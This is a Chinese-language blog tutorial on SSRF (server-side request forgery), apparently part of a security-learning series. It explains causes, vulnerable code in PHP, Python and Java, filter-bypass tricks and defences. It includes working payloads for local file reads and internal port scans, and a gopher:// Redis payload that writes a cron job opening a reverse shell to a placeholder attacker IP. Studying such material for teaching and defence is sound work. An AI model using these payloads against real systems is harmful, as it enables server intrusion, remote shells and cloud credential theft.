欢迎光临
我们一直在努力

如何从一名小白成为网安大神(第二十天)

一、学习SSRF 漏洞

(一)SSRF 是什么

SSRF(Server-Side Request Forgery,服务器端请求伪造)核心原理:攻击者利用服务端程序发起网络请求的功能,操控服务器去访问任意内网 / 外网资源,所有网络请求由后端服务器发出,而非客户端浏览器。

正常场景:业务需要服务器拉取外部图片、读取远程接口、获取 URL 内容、文件下载预览等。漏洞成因:后端未对传入的目标 URL 做严格过滤、校验、拦截,可控参数直接传入请求函数。

风险点

  • 探测内网存活主机、端口(内网扫描)
  • 访问内网敏感服务:Redis、MySQL、Memcache、FTP、Web 管理后台
  • 读取本地文件(file:// 协议)
  • 攻击内网 / 公网服务器(DOS、漏洞利用)
  • 窃取元数据云服务器(AWS / 阿里云 metadata)
  • 绕过 WAF / 访问控制(请求源是内网服务器)
  • (二)常见出现 SSRF 的业务功能

    只要后端接收用户传入 URL 并发起请求,大概率存在风险:

  • 图片远程加载、头像拉取、图片预览
  • 远程文件下载、在线文档解析
  • 网站采集、爬虫、在线代理功能
  • 支付回调、第三方接口请求
  • 后台获取远程页面内容、URL 检测
  • 典型参数

    url=xxx、img=xxx、remote=xxx、link=xxx、source=xxx

    (三)支持的协议(关键利用点)

    不同语言 / 库支持协议不同,是 SSRF 利用核心:

  • http/https:访问内外网 Web 服务,端口扫描
  • file://:读取服务器本地任意文件(Linux /etc/passwd、Windows C:\\windows\\system32\\drivers\\etc\\hosts)
  • gopher://:最强协议,可构造任意 TCP 数据流,攻击 Redis、MySQL、FTP 等无鉴权服务
  • dict://:探测端口、发送简单 TCP 命令
  • ftp:///sftp://:操作 FTP 服务,读取文件
  • ldap://:LDAP 注入、信息泄露
  • 限制:PHP allow_url_fopen、curl、requests 库支持协议有差异。

    (四)基础 Payload(入门)

    1. 探测本机

    # 访问服务器自身
    url=http://127.0.0.1
    url=http://localhost
    url=http://0.0.0.0
    # 八进制/十六进制绕过过滤
    http://0177.0.0.1
    http://0x7f.0.0.1
    # 十进制IP绕过 127.0.0.1 = 2130706433
    http://2130706433

    2. 读取本地文件(file 协议)

    url=file:///etc/passwd
    url=file://C:/Windows/System32/drivers/etc/hosts

    3. 内网端口扫描

    批量遍历内网端口,判断页面长度 / 响应时间判断端口开放

    url=http://192.168.1.1:3306
    url=http://192.168.1.1:6379
    url=http://192.168.1.1:22

    4. Gopher 攻击 Redis(高频考点)

    Redis 无密码时,通过 gopher 写 shell、写计划任务拿服务器权限格式:gopher://ip:port/_TCP数据流示例写入定时任务(Linux):

    gopher://127.0.0.1:6379/_%0d%0aconfig%20set%20dir%20/var/spool/cron/%0d%0aconfig%20set%20dbfilename%20root%0d%0aset%201%20%22%0a%0a*%2fbin%2fbash%20-i%20%3e%26%20%2fdev%2ftcp%2f攻击IP%2f端口%200%3e%261%0a%0a%22%0d%0asave%0d%0a

    (五)绕过过滤的常用技巧(面试 / 实战重点)

    后端常拦截127.0.0.1、localhost、192.168,各类绕过方式:

    1. IP 地址变形绕过

    • 十进制:127.0.0.1 → 2130706433
    • 八进制:0177.0.0.1
    • 十六进制:0x7f.0.0.1
    • 缺省 IP:127.1、0x7f.1、127.000.000.001
    • 双 IP 分隔符:127。0。0。1 中文句号、空格、Tab

    2. 域名解析绕过

    搭建域名 A 记录指向 127.0.0.1,访问该域名即可访问本地

    url=http://vps指向127.0.0.1的域名

    3. 302 重定向绕过

    自己搭建一台服务器,访问后 302 跳转到内网 IP,后端会跟随跳转访问内网

    ?url=http://你的vps/redirect.php
    # redirect.php 内容
    <?php
    header("Location: http://127.0.0.1:6379");
    ?>

    4. 协议、特殊字符分割绕过

    • 大小写混淆:File://、HTTP://127.0.0.1
    • URL 编码、双重编码:127.0.0.1 → %31%32%37%2E%30%2E%30%2E%31
    • 添加无关路径参数:http://127.0.0.1@www.baidu.com 真实访问 127.0.0.1
    • 换行、%0d%0a 分割协议

    5. DNS 重绑定(高级绕过)

    一个域名短时间解析两个 IP:先公网 IP,再 127.0.0.1,绕过单次 DNS 校验

    (六)各语言 SSRF 漏洞代码示例(看懂漏洞根源)

    1. PHP curl 危险代码(最常见)

    <?php
    $url = $_GET['url'];
    $ch = curl_init($url);
    curl_exec($ch);
    curl_close($ch);
    ?>

    危险点:默认跟随 302 跳转、支持 file/gopher/dict 多协议,无 IP 黑名单

    2. Python requests 危险代码

    import requests
    url = input("url:")
    res = requests.get(url)
    print(res.text)

    默认不跟随跳转,加allow_redirects=True会造成重定向绕过

    3. Java HttpURLConnection

    String url = request.getParameter("url");
    URL u = new URL(url);
    HttpURLConnection conn = (HttpURLConnection)u.openConnection();

    Java 限制较多,但仍可访问内网、file 协议

    (七)防御 SSRF 完整方案(修复标准)

    1. 协议白名单(最有效)

    只允许 http://、https://,彻底禁用 file://、gopher://、dict://、ftp://

    2. IP 黑名单拦截内网 / 本地地址

    拦截所有内网段:

    • 本地:127.0.0.0/8、0.0.0.0/8
    • A 类内网:10.0.0.0/8
    • B 类内网:172.16.0.0/12
    • C 类内网:192.168.0.0/16
    • IPv6 本地 ::1

    3. 禁止跟随 302 重定向

    关闭自动跳转,或限制跳转次数最多 1 次,跳转后二次校验 IP

    4. DNS 解析二次校验

    获取域名解析后的真实 IP,再校验是否内网,防止 DNS 重绑定

    5. 限制请求端口

    仅开放 80、443 常规 Web 端口,禁止 6379、3306、22、21 等高危端口

    6. 独立网络环境

    业务服务器不与内网核心服务互通,使用独立外网机器处理远程拉取

    7. 超时限制

    设置短超时时间,防止内网长时间扫描、DOS 攻击

    (八)实战学习路线(由浅入深)

  • 本地搭建 SSRF 靶场(推荐)
    • DVWA、WebGoat、Pikachu、SSRF-lab
    • 自建 PHP/Java 简易 SSRF 页面练习
  • 基础利用:端口扫描、读取本地文件
  • 绕过过滤:IP 变形、302 跳转、编码绕过
  • 高级利用:gopher 攻击 Redis、MySQL、计划任务提权
  • 云环境 SSRF:访问阿里云 / 华为云 metadata 获取服务器密钥
  • 代码审计:挖掘业务中存在 SSRF 的危险函数
  • 编写防御代码,掌握修复方式
  • 赞(0)
    未经允许不得转载:171主机测评 » 如何从一名小白成为网安大神(第二十天)
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址